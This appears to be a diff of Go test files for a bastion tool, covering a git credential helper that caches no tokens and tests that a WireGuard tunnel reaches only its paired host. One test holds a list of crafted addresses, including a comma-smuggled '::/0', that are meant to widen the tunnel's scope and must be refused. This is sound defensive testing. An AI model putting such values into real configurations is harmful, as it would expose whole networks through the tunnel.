// The git half runs a stand-in helper as a shell script, so it is unix-only.
|
||||
|
||||
package main
|
||||
|
||||
// No secrets cached for git. The credential helper asks the running daemon
|
||||
// for a token on every auth and keeps nothing; store and erase are no-ops;
|
||||
// and the lines git-setup prints reset git's helper chain for the forge so a
|
||||
// helper configured before them never sees the token. The daemon here is a
|
||||
// loopback test server, and git runs against a throwaway HOME.
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/cgi"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// withStdio runs fn with stdin fed from in and returns what it wrote to stdout.
|
||||
func withStdio(t *testing.T, in string, fn func()) string {
|
||||
t.Helper()
|
||||
oldIn, oldOut := os.Stdin, os.Stdout
|
||||
ir, iw, _ := os.Pipe()
|
||||
or, ow, _ := os.Pipe()
|
||||
os.Stdin, os.Stdout = ir, ow
|
||||
go func() { _, _ = io.WriteString(iw, in); _ = iw.Close() }()
|
||||
done := make(chan string)
|
||||
go func() { b, _ := io.ReadAll(or); done <- string(b) }()
|
||||
fn()
|
||||
_ = ow.Close()
|
||||
os.Stdin, os.Stdout = oldIn, oldOut
|
||||
_ = ir.Close()
|
||||
return <-done
|
||||
}
|
||||
|
||||
// gitPairing writes one pairing whose control port is addr.
|
||||
func gitPairing(t *testing.T, host, addr, secret string) {
|
||||
t.Helper()
|
||||
pd, err := pairingsDir()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b, _ := json.Marshal(Config{HostName: host, WGPrivateKey: "k", BastionTunnelIP: "2001:db8::a:1",
|
||||
ListenAddr: addr, OperatorSecret: secret, GitProxyAddr: "127.0.0.1:7978"})
|
||||
if err := os.WriteFile(filepath.Join(pd, host+".json"), b, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
// configTree lists every file under the config dir with its contents.
|
||||
func configTree(t *testing.T, root string) string {
|
||||
t.Helper()
|
||||
var b strings.Builder
|
||||
_ = filepath.Walk(root, func(p string, fi os.FileInfo, err error) error {
|
||||
if err == nil && !fi.IsDir() {
|
||||
raw, _ := os.ReadFile(p)
|
||||
fmt.Fprintf(&b, "%s\n%s\n", p, raw)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func TestTheGitHelperFetchesATokenPerAuthAndStoresNothing(t *testing.T) {
|
||||
cfgDir := uiTestConfigDir(t)
|
||||
var asked atomic.Int64
|
||||
daemon := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/git-credential" || r.Header.Get("Authorization") != "Bearer local-secret" {
|
||||
http.Error(w, "unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
n := asked.Add(1)
|
||||
fmt.Fprintf(w, "username=forge\npassword=token-%d\n", n)
|
||||
}))
|
||||
defer daemon.Close()
|
||||
gitPairing(t, "h.host.privatae.ai", strings.TrimPrefix(daemon.URL, "http://"), "local-secret")
|
||||
before := configTree(t, cfgDir)
|
||||
|
||||
ask := "protocol=https\nhost=" + gitForgeHost + "\n\n"
|
||||
for i := 1; i <= 3; i++ {
|
||||
out := withStdio(t, ask, func() {
|
||||
if err := cmdGitCredential("", "get"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
if want := fmt.Sprintf("password=token-%d\n", i); !strings.Contains(out, want) {
|
||||
t.Fatalf("auth %d: the helper must relay a fresh token from the daemon (%q), got %q", i, want, out)
|
||||
}
|
||||
}
|
||||
if asked.Load() != 3 {
|
||||
t.Fatalf("three auths must be three requests to the daemon, got %d", asked.Load())
|
||||
}
|
||||
|
||||
// git hands the helper the token to store, and later to erase: both are
|
||||
// no-ops, and neither reaches the daemon or the disk.
|
||||
for _, action := range []string{"store", "erase"} {
|
||||
out := withStdio(t, ask+"username=forge\npassword=token-1\n\n", func() {
|
||||
if err := cmdGitCredential("", action); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
if out != "" {
|
||||
t.Fatalf("%s must print nothing, printed %q", action, out)
|
||||
}
|
||||
}
|
||||
// Another forge: not ours, so nothing is asked and nothing is answered.
|
||||
out := withStdio(t, "protocol=https\nhost=github.com\n\n", func() {
|
||||
if err := cmdGitCredential("", "get"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
if out != "" || asked.Load() != 3 {
|
||||
t.Fatalf("a request for another host must go nowhere: printed %q, %d requests", out, asked.Load())
|
||||
}
|
||||
if after := configTree(t, cfgDir); after != before {
|
||||
t.Fatalf("the helper wrote to the bastion's config:\nbefore:\n%s\nafter:\n%s", before, after)
|
||||
}
|
||||
}
|
||||
|
||||
// splitShellish splits one printed `git config` line into argv, honouring
|
||||
// the double quotes git-setup prints around the helper value.
|
||||
func splitShellish(line string) []string {
|
||||
var out []string
|
||||
var cur strings.Builder
|
||||
inQ, any := false, false
|
||||
for _, r := range line {
|
||||
switch {
|
||||
case r == '"':
|
||||
inQ, any = !inQ, true
|
||||
case r == ' ' && !inQ:
|
||||
if any || cur.Len() > 0 {
|
||||
out = append(out, cur.String())
|
||||
}
|
||||
cur.Reset()
|
||||
any = false
|
||||
default:
|
||||
cur.WriteRune(r)
|
||||
}
|
||||
}
|
||||
if any || cur.Len() > 0 {
|
||||
out = append(out, cur.String())
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestGitSetupResetsTheHelperChainBeforeItsOwnHelper(t *testing.T) {
|
||||
uiTestConfigDir(t)
|
||||
gitPairing(t, "h.host.privatae.ai", "127.0.0.1:7878", "s")
|
||||
out := withStdio(t, "", func() {
|
||||
if err := cmdGitSetup(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
var helperLines []string
|
||||
for _, l := range strings.Split(out, "\n") {
|
||||
if l = strings.TrimSpace(l); strings.Contains(l, ".helper") {
|
||||
helperLines = append(helperLines, l)
|
||||
}
|
||||
}
|
||||
// This comparison is the one place the tests pin the real forge name:
|
||||
// git-setup prints the host as a literal, and the expected lines here come
|
||||
// from gitForgeHost, so a change to either one fails. If git-setup is ever
|
||||
// switched to print gitForgeHost, the name needs an explicit pin elsewhere.
|
||||
want := []string{
|
||||
`git config --global --replace-all credential.https://` + gitForgeHost + `.helper ""`,
|
||||
`git config --global --add credential.https://` + gitForgeHost + `.helper "!privatae-bastion git-credential"`,
|
||||
}
|
||||
if strings.Join(helperLines, "\n") != strings.Join(want, "\n") {
|
||||
t.Fatalf("git-setup must reset the forge's helper chain, then add its own helper:\n got %q\nwant %q", helperLines, want)
|
||||
}
|
||||
|
||||
// Several hosts: every host's pair of lines still starts with the reset.
|
||||
gitPairing(t, "g.host.privatae.ai", "127.0.0.1:7879", "s")
|
||||
out = withStdio(t, "", func() { _ = cmdGitSetup() })
|
||||
lines := strings.Split(out, "\n")
|
||||
for i, l := range lines {
|
||||
if strings.Contains(l, "--add credential.https://"+gitForgeHost+".helper") {
|
||||
if i == 0 || !strings.Contains(lines[i-1], `--replace-all credential.https://`+gitForgeHost+`.helper ""`) {
|
||||
t.Fatalf("a helper line without the reset right before it:\n%s", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// gitForge stands in for the forge at gitForgeHost: a TLS server that demands Basic
|
||||
// auth with the host's token and serves a real repository through
|
||||
// git-http-backend, reached through a CONNECT proxy the way the bastion's
|
||||
// git proxy is. It counts the requests that carried the right token.
|
||||
type gitForge struct {
|
||||
proxy string
|
||||
authed atomic.Int64
|
||||
}
|
||||
|
||||
func newGitForge(t *testing.T, git, token string) *gitForge {
|
||||
t.Helper()
|
||||
root := t.TempDir()
|
||||
if out, err := exec.Command(git, "init", "-q", "--bare", filepath.Join(root, "r.git")).CombinedOutput(); err != nil {
|
||||
t.Fatalf("init: %v %s", err, out)
|
||||
}
|
||||
f := &gitForge{}
|
||||
backend := &cgi.Handler{Path: git, Args: []string{"http-backend"},
|
||||
Env: []string{"GIT_PROJECT_ROOT=" + root, "GIT_HTTP_EXPORT_ALL=1"}}
|
||||
want := "Basic " + base64.StdEncoding.EncodeToString([]byte("forge:"+token))
|
||||
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get("Authorization") != want {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="forge"`)
|
||||
http.Error(w, "auth", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
f.authed.Add(1)
|
||||
backend.ServeHTTP(w, r)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
target := strings.TrimPrefix(srv.URL, "https://")
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = ln.Close() })
|
||||
go func() {
|
||||
for {
|
||||
c, err := ln.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
go func(c net.Conn) {
|
||||
defer c.Close()
|
||||
br := bufio.NewReader(c)
|
||||
req, err := http.ReadRequest(br)
|
||||
if err != nil || req.Method != http.MethodConnect || req.Host != gitForgeHost+":443" {
|
||||
return
|
||||
}
|
||||
up, err := net.Dial("tcp", target)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer up.Close()
|
||||
_, _ = io.WriteString(c, "HTTP/1.1 200 Connection established\r\n\r\n")
|
||||
done := make(chan struct{}, 2)
|
||||
go func() { _, _ = io.Copy(up, br); done <- struct{}{} }()
|
||||
go func() { _, _ = io.Copy(c, up); done <- struct{}{} }()
|
||||
<-done
|
||||
}(c)
|
||||
}
|
||||
}()
|
||||
f.proxy = "http://" + ln.Addr().String()
|
||||
return f
|
||||
}
|
||||
|
||||
// No secrets cached for git, end to end. A real git reads the forge
|
||||
// through the proxy, with git-setup's lines applied and a caching helper
|
||||
// (`store`) configured in each place a machine might already have one:
|
||||
// before those lines, after them, and in the repository's own config. Each
|
||||
// ls-remote authenticates with the host's token from the bastion's helper, and
|
||||
// the token is never written to disk.
|
||||
func TestNoHelperOnTheMachineStoresTheForgeToken(t *testing.T) {
|
||||
git, err := exec.LookPath("git")
|
||||
if err != nil {
|
||||
t.Skip("git is not installed here")
|
||||
}
|
||||
// Before 2.46 git does not announce the authtype capability, so the
|
||||
// helper answers with a username and password and a helper configured
|
||||
// after git-setup's lines stores them: the residual the README states and
|
||||
// TestWithoutTheAuthtypeCapabilityOnlyTheResetProtects pins.
|
||||
if v, ok := gitVersion(git); !ok || v[0] < 2 || (v[0] == 2 && v[1] < 46) {
|
||||
t.Skipf("git %v is older than 2.46; this test measures the authtype form", v)
|
||||
}
|
||||
const token = "token-from-host"
|
||||
cfgDir := uiTestConfigDir(t)
|
||||
var asked atomic.Int64
|
||||
daemon := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
asked.Add(1)
|
||||
fmt.Fprintf(w, "username=forge\npassword=%s\n", token)
|
||||
}))
|
||||
defer daemon.Close()
|
||||
gitPairing(t, "h.host.privatae.ai", strings.TrimPrefix(daemon.URL, "http://"), "s")
|
||||
setup := withStdio(t, "", func() { _ = cmdGitSetup() })
|
||||
|
||||
self, err := os.Executable()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, place := range []string{"before", "after", "repository"} {
|
||||
t.Run("store configured "+place, func(t *testing.T) {
|
||||
forge := newGitForge(t, git, token)
|
||||
home := t.TempDir()
|
||||
bin := t.TempDir()
|
||||
// `privatae-bastion` on git's PATH is this test binary, which
|
||||
// answers as the real helper (gitHelperChildMain).
|
||||
stub := "#!/bin/sh\nexec '" + self + "' \"$@\"\n"
|
||||
if err := os.WriteFile(filepath.Join(bin, "privatae-bastion"), []byte(stub), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
env := append(os.Environ(), "HOME="+home, "XDG_CONFIG_HOME="+cfgDir, "GIT_CONFIG_NOSYSTEM=1",
|
||||
"GIT_CONFIG_GLOBAL="+filepath.Join(home, ".gitconfig"), "GIT_TERMINAL_PROMPT=0",
|
||||
"GIT_ASKPASS=", "SSH_ASKPASS=", "PRIVATAE_TEST_GIT_HELPER_CONFIG="+cfgDir,
|
||||
"PATH="+bin+string(os.PathListSeparator)+os.Getenv("PATH"))
|
||||
repo := filepath.Join(home, "work")
|
||||
run := func(dir string, args ...string) {
|
||||
t.Helper()
|
||||
cmd := exec.Command(git, args...)
|
||||
cmd.Env, cmd.Dir = env, dir
|
||||
if out, err := cmd.CombinedOutput(); err != nil {
|
||||
t.Fatalf("git %v: %v\n%s", args, err, out)
|
||||
}
|
||||
}
|
||||
run(home, "init", "-q", repo)
|
||||
if place == "before" {
|
||||
run(home, "config", "--global", "credential.helper", "store")
|
||||
}
|
||||
for _, l := range strings.Split(setup, "\n") {
|
||||
if l = strings.TrimSpace(l); strings.HasPrefix(l, "git config --global --") && strings.Contains(l, ".helper") {
|
||||
run(home, splitShellish(l)[1:]...)
|
||||
}
|
||||
}
|
||||
switch place {
|
||||
case "after":
|
||||
run(home, "config", "--global", "credential.helper", "store")
|
||||
case "repository":
|
||||
run(repo, "config", "credential.helper", "store")
|
||||
}
|
||||
// The proxy line git-setup prints names the bastion's own port;
|
||||
// here it is the test's proxy. Certificate checks are off only in
|
||||
// this throwaway HOME, for the test server's certificate.
|
||||
run(home, "config", "--global", "http.https://"+gitForgeHost+".proxy", forge.proxy)
|
||||
run(home, "config", "--global", "http.https://"+gitForgeHost+".sslVerify", "false")
|
||||
|
||||
before := asked.Load()
|
||||
for i := 0; i < 2; i++ {
|
||||
run(repo, "ls-remote", "-q", "https://"+gitForgeHost+"/r.git")
|
||||
}
|
||||
if forge.authed.Load() == 0 {
|
||||
t.Fatal("the forge never saw the host's token")
|
||||
}
|
||||
if asked.Load()-before < 2 {
|
||||
t.Fatalf("each run must ask the host for the token, asked %d times for two", asked.Load()-before)
|
||||
}
|
||||
// git's store helper writes ~/.git-credentials, or
|
||||
// $XDG_CONFIG_HOME/git/credentials when that exists.
|
||||
for _, p := range []string{filepath.Join(home, ".git-credentials"), filepath.Join(cfgDir, "git", "credentials")} {
|
||||
if raw, err := os.ReadFile(p); err == nil && strings.Contains(string(raw), token) {
|
||||
t.Fatalf("a caching helper configured %s git-setup's lines stored the token in %s", place, p)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// What the bastion cannot close alone: a git that does not announce the
|
||||
// authtype capability (older than 2.46) is given the username and password,
|
||||
// and hands them to every helper in its list on approve. For it, git-setup's
|
||||
// reset keeps out a helper configured before it and nothing else. This pins
|
||||
// the fallback form so the residual stays what the README says it is.
|
||||
func TestWithoutTheAuthtypeCapabilityOnlyTheResetProtects(t *testing.T) {
|
||||
host := []byte("username=forge\npassword=t0k\n")
|
||||
if got := string(gitCredentialReply(host, false)); got != "username=forge\npassword=t0k\nquit=1\n" {
|
||||
t.Fatalf("fallback form: %q", got)
|
||||
}
|
||||
got := string(gitCredentialReply(host, true))
|
||||
want := "capability[]=authtype\nauthtype=Basic\ncredential=" +
|
||||
base64.StdEncoding.EncodeToString([]byte("forge:t0k")) + "\nephemeral=1\nquit=1\n"
|
||||
if got != want {
|
||||
t.Fatalf("authtype form:\n got %q\nwant %q", got, want)
|
||||
}
|
||||
if strings.Contains(got, "password=") {
|
||||
t.Fatal("the authtype form must not carry the password field any helper would store")
|
||||
}
|
||||
if got := string(gitCredentialReply([]byte("error\n"), true)); got != "error\n" {
|
||||
t.Fatalf("an answer without a credential is passed on unchanged: %q", got)
|
||||
}
|
||||
|
||||
git, err := exec.LookPath("git")
|
||||
if err != nil {
|
||||
t.Skip("git is not installed here")
|
||||
}
|
||||
for _, after := range []bool{false, true} {
|
||||
home := t.TempDir()
|
||||
env := append(os.Environ(), "HOME="+home, "XDG_CONFIG_HOME="+home, "GIT_CONFIG_NOSYSTEM=1",
|
||||
"GIT_CONFIG_GLOBAL="+filepath.Join(home, ".gitconfig"))
|
||||
run := func(stdin string, args ...string) {
|
||||
t.Helper()
|
||||
cmd := exec.Command(git, args...)
|
||||
cmd.Env, cmd.Stdin = env, strings.NewReader(stdin)
|
||||
if out, err := cmd.CombinedOutput(); err != nil {
|
||||
t.Fatalf("git %v: %v %s", args, err, out)
|
||||
}
|
||||
}
|
||||
if !after {
|
||||
run("", "config", "--global", "credential.helper", "store")
|
||||
}
|
||||
run("", "config", "--global", "--replace-all", "credential.https://"+gitForgeHost+".helper", "")
|
||||
run("", "config", "--global", "--add", "credential.https://"+gitForgeHost+".helper", "!true")
|
||||
if after {
|
||||
run("", "config", "--global", "credential.helper", "store")
|
||||
}
|
||||
run("protocol=https\nhost="+gitForgeHost+"\n"+string(gitCredentialReply(host, false))+"\n", "credential", "approve")
|
||||
_, err := os.Stat(filepath.Join(home, ".git-credentials"))
|
||||
if stored := err == nil; stored != after {
|
||||
t.Fatalf("store configured after=%v: stored=%v; the fallback's residual is exactly the helper configured after the reset", after, stored)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// gitVersion reads "git version X.Y.Z…" into [X, Y].
|
||||
func gitVersion(git string) ([2]int, bool) {
|
||||
out, err := exec.Command(git, "version").Output()
|
||||
if err != nil {
|
||||
return [2]int{}, false
|
||||
}
|
||||
f := strings.Fields(string(out))
|
||||
if len(f) < 3 {
|
||||
return [2]int{}, false
|
||||
}
|
||||
var v [2]int
|
||||
if n, _ := fmt.Sscanf(f[2], "%d.%d", &v[0], &v[1]); n != 2 {
|
||||
return [2]int{}, false
|
||||
}
|
||||
return v, true
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,130 @@
|
||||
package main
|
||||
|
||||
// Scoped tunnel: the WireGuard device a pairing brings up can reach only the
|
||||
// paired host. Driven on a real device with an in-memory bind and an
|
||||
// in-memory network stack, so nothing leaves the process.
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"golang.zx2c4.com/wireguard/conn/bindtest"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"golang.zx2c4.com/wireguard/tun/netstack"
|
||||
)
|
||||
|
||||
func testWGKey(t *testing.T) string {
|
||||
t.Helper()
|
||||
b := make([]byte, 32)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(b)
|
||||
}
|
||||
|
||||
// testWGDevice is a WireGuard device on an in-memory tun and bind: the same
|
||||
// device type runPairing builds, with no socket and no interface.
|
||||
func testWGDevice(t *testing.T, tunnelIP string) *device.Device {
|
||||
t.Helper()
|
||||
tun, _, err := netstack.CreateNetTUN([]netip.Addr{netip.MustParseAddr(tunnelIP)}, nil, 1420)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
dev := device.NewDevice(tun, bindtest.NewChannelBinds()[0], device.NewLogger(device.LogLevelSilent, ""))
|
||||
t.Cleanup(dev.Close)
|
||||
return dev
|
||||
}
|
||||
|
||||
// wgPeers splits a UAPI dump into its peers' lines.
|
||||
func wgPeers(t *testing.T, dev *device.Device) [][]string {
|
||||
t.Helper()
|
||||
dump, err := dev.IpcGet()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var peers [][]string
|
||||
for _, line := range strings.Split(dump, "\n") {
|
||||
if strings.HasPrefix(line, "public_key=") {
|
||||
peers = append(peers, nil)
|
||||
}
|
||||
if len(peers) > 0 && line != "" {
|
||||
peers[len(peers)-1] = append(peers[len(peers)-1], line)
|
||||
}
|
||||
}
|
||||
return peers
|
||||
}
|
||||
|
||||
// The pairing response carries the host's alias as one bare address, and the
|
||||
// platform sends it as it is. A value
|
||||
// that is not one host's address is refused, at every place the peer is
|
||||
// configured, and nothing is set on the device.
|
||||
func TestATunnelAddressThatIsNotOneHostIsRefused(t *testing.T) {
|
||||
for _, bad := range []string{
|
||||
"2001:db8::e:3/64", "::/0", "2001:db8::e:3/128", "0.0.0.0/0", "10.0.0.1/32",
|
||||
"", " 2001:db8::e:3", "2001:db8::e:3 ", "2001:db8::e:3%eth0", "::", "0.0.0.0",
|
||||
"ff02::1", "::ffff:10.0.0.1", "not-an-address", "2001:db8::e:3,::/0",
|
||||
} {
|
||||
if got, err := hostTunnelAllowedIP(bad); err == nil {
|
||||
t.Errorf("%q must be refused, got allowed_ip %q", bad, got)
|
||||
}
|
||||
cfg := &Config{WGPrivateKey: testWGKey(t), EndpointPubKey: testWGKey(t),
|
||||
Endpoint: "203.0.113.7:51820", HostTunnelIP: bad}
|
||||
dev := testWGDevice(t, "2001:db8::a:1")
|
||||
if err := configureTunnelPeer(dev, cfg); err == nil {
|
||||
t.Errorf("%q: configureTunnelPeer must refuse", bad)
|
||||
}
|
||||
if err := swapPeer(cfg, dev, "198.51.100.9:51820", testWGKey(t)); err == nil {
|
||||
t.Errorf("%q: swapPeer must refuse", bad)
|
||||
}
|
||||
if peers := wgPeers(t, dev); len(peers) != 0 {
|
||||
t.Errorf("%q: a refused address must leave the device with no peer, it holds %v", bad, peers)
|
||||
}
|
||||
}
|
||||
for in, want := range map[string]string{"2001:db8::e:3": "2001:db8::e:3/128", "10.0.0.1": "10.0.0.1/32"} {
|
||||
if got, err := hostTunnelAllowedIP(in); err != nil || got != want {
|
||||
t.Errorf("%q: want %q, got %q %v", in, want, got, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTheTunnelReachesOnlyThePairedHost(t *testing.T) {
|
||||
for _, hostIP := range []string{"2001:db8::e:3", "2001:db8::e:ffff", "2001:db8::1"} {
|
||||
cfg := &Config{
|
||||
HostName: "h.host.privatae.ai",
|
||||
WGPrivateKey: testWGKey(t),
|
||||
EndpointPubKey: testWGKey(t),
|
||||
Endpoint: "203.0.113.7:51820",
|
||||
BastionTunnelIP: "2001:db8::a:1",
|
||||
HostTunnelIP: hostIP,
|
||||
}
|
||||
dev := testWGDevice(t, cfg.BastionTunnelIP)
|
||||
if err := configureTunnelPeer(dev, cfg); err != nil {
|
||||
t.Fatalf("%s: %v", hostIP, err)
|
||||
}
|
||||
check := func(when string) {
|
||||
t.Helper()
|
||||
peers := wgPeers(t, dev)
|
||||
if len(peers) != 1 {
|
||||
t.Fatalf("%s %s: the device must hold exactly one peer, holds %d", hostIP, when, len(peers))
|
||||
}
|
||||
if got := wgAllowedIPs(dev); len(got) != 1 || got[0] != hostIP+"/128" {
|
||||
t.Fatalf("%s %s: the only allowed address must be the host's alias as a /128, got %v", hostIP, when, got)
|
||||
}
|
||||
}
|
||||
check("after pairing")
|
||||
|
||||
// The live endpoint rotation replaces the peer; the scope must not move.
|
||||
other := testWGKey(t)
|
||||
if err := swapPeer(cfg, dev, "198.51.100.9:51820", other); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
check("after an endpoint rotation")
|
||||
pub, _ := b64ToHex(other)
|
||||
if !strings.Contains(strings.Join(wgPeers(t, dev)[0], "\n"), "public_key="+pub) {
|
||||
t.Fatalf("%s: the rotation did not take the new peer", hostIP)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,635 @@
|
||||
//go:build !windows
|
||||
|
||||
// Uses setupBox / writePairingState / signTerms / grantTerms / driveOp from
|
||||
// anchor_test.go, the session helpers from session_test.go and the service
|
||||
// runtime stub from service_test.go, all unix-only.
|
||||
|
||||
package main
|
||||
|
||||
// The README's security model, driven through the code that enforces it:
|
||||
// the tunnel forwards' accept path, the session lane's handler, the
|
||||
// machine-authority gates and the management lane's allowlisted op. The
|
||||
// tunnel here is an in-memory network stack and every upstream a loopback
|
||||
// listener the test owns; nothing reaches the live machine's network, its
|
||||
// services or its processes.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/ed25519"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
"golang.zx2c4.com/wireguard/tun/netstack"
|
||||
)
|
||||
|
||||
// ── inside the tunnel ───────────────────────────────────────────────────────
|
||||
|
||||
// upstreamCounter is a listener standing in for the service a forward
|
||||
// splices to. A connection arriving at it is the proof that the forward let
|
||||
// a tunnel connection through.
|
||||
type upstreamCounter struct {
|
||||
ln net.Listener
|
||||
got chan struct{}
|
||||
}
|
||||
|
||||
func newUpstream(t *testing.T, network, addr string) *upstreamCounter {
|
||||
t.Helper()
|
||||
ln, err := net.Listen(network, addr)
|
||||
if err != nil {
|
||||
t.Skipf("cannot listen on %s %s here: %v", network, addr, err)
|
||||
}
|
||||
u := &upstreamCounter{ln: ln, got: make(chan struct{}, 64)}
|
||||
go func() {
|
||||
for {
|
||||
c, err := ln.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
u.got <- struct{}{}
|
||||
_ = c.Close()
|
||||
}
|
||||
}()
|
||||
t.Cleanup(func() { _ = ln.Close() })
|
||||
return u
|
||||
}
|
||||
|
||||
// reached reports whether a connection arrived within d.
|
||||
func (u *upstreamCounter) reached(d time.Duration) bool {
|
||||
select {
|
||||
case <-u.got:
|
||||
return true
|
||||
case <-time.After(d):
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// tunnelDial connects to port on the in-memory stack, retrying while the
|
||||
// forward under test is still coming up. The connection is closed at once:
|
||||
// the accept is what the forward's wall acts on.
|
||||
func tunnelDial(t *testing.T, tnet *netstack.Net, gw netip.Addr, port int) {
|
||||
t.Helper()
|
||||
addr := net.JoinHostPort(gw.String(), fmt.Sprint(port))
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Second)
|
||||
c, err := tnet.DialContext(ctx, "tcp", addr)
|
||||
cancel()
|
||||
if err == nil {
|
||||
// Hold it open briefly so an allowed splice has a live peer.
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
_ = c.Close()
|
||||
return
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("nothing listens on %s in the tunnel: %v", addr, err)
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func grantMemberCaps(t *testing.T, priv ed25519.PrivateKey, caps ...string) {
|
||||
t.Helper()
|
||||
future := time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
|
||||
terms, sig := signTerms(t, priv, grantTerms(tMember, caps, future))
|
||||
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
|
||||
t.Fatalf("grant %v: %d %s", caps, code, errOut)
|
||||
}
|
||||
}
|
||||
|
||||
// Inside the tunnel, only gated listeners: each inference forward, driven
|
||||
// through its real accept loop on a tunnel stack, passes a connection to its
|
||||
// upstream only while the pairing holds the `inference` family, re-read on
|
||||
// every accept.
|
||||
func TestEachInferenceForwardAdmitsOnlyThePairingThatHoldsInference(t *testing.T) {
|
||||
priv := setupBox(t)
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
grantMemberCaps(t, priv, "observe")
|
||||
|
||||
ollama := newUpstream(t, "tcp", "127.0.0.1:0")
|
||||
llm := newUpstream(t, "tcp", "127.0.0.1:0")
|
||||
pii := newUpstream(t, "tcp", "127.0.0.1:0")
|
||||
t.Setenv("OLLAMA_ADDR", ollama.ln.Addr().String())
|
||||
t.Setenv("PRIVATAE_LLM_ADDR", llm.ln.Addr().String())
|
||||
t.Setenv("PRIVATAE_PII_ADDR", pii.ln.Addr().String())
|
||||
|
||||
gw := netip.MustParseAddr("2001:db8::a:1")
|
||||
_, tnet, err := netstack.CreateNetTUN([]netip.Addr{gw}, nil, 1420)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
t.Cleanup(cancel)
|
||||
go serveOllamaForward(ctx, tMember, tnet, gw)
|
||||
go serveLLMForward(ctx, tMember, tnet, gw)
|
||||
go servePIIForward(ctx, tMember, tnet, gw)
|
||||
|
||||
lanes := []struct {
|
||||
name string
|
||||
port int
|
||||
up *upstreamCounter
|
||||
}{{"ollama", 11434, ollama}, {"llm", llmForwardPort, llm}, {"pii", piiForwardPort, pii}}
|
||||
|
||||
for _, l := range lanes {
|
||||
tunnelDial(t, tnet, gw, l.port)
|
||||
if l.up.reached(300 * time.Millisecond) {
|
||||
t.Errorf("%s forward: a pairing without the inference family reached the upstream", l.name)
|
||||
}
|
||||
}
|
||||
grantMemberCaps(t, priv, "observe", "inference")
|
||||
for _, l := range lanes {
|
||||
tunnelDial(t, tnet, gw, l.port)
|
||||
if !l.up.reached(3 * time.Second) {
|
||||
t.Errorf("%s forward: a pairing granted inference must reach the upstream, with no restart", l.name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A service slot port admits a connection only when BOTH walls pass: the
|
||||
// pairing holds the `services` family, and a reach grant for that server
|
||||
// names that host. Driven through serveServiceForwards' accept loop; the
|
||||
// server's socket counts what gets through.
|
||||
func TestTheServiceSlotAdmitsOnlyWithTheFamilyAndAReachGrant(t *testing.T) {
|
||||
if runtime.GOOS != "linux" {
|
||||
t.Skip("the slot forward pins the server's socket through /proc and is linux-only")
|
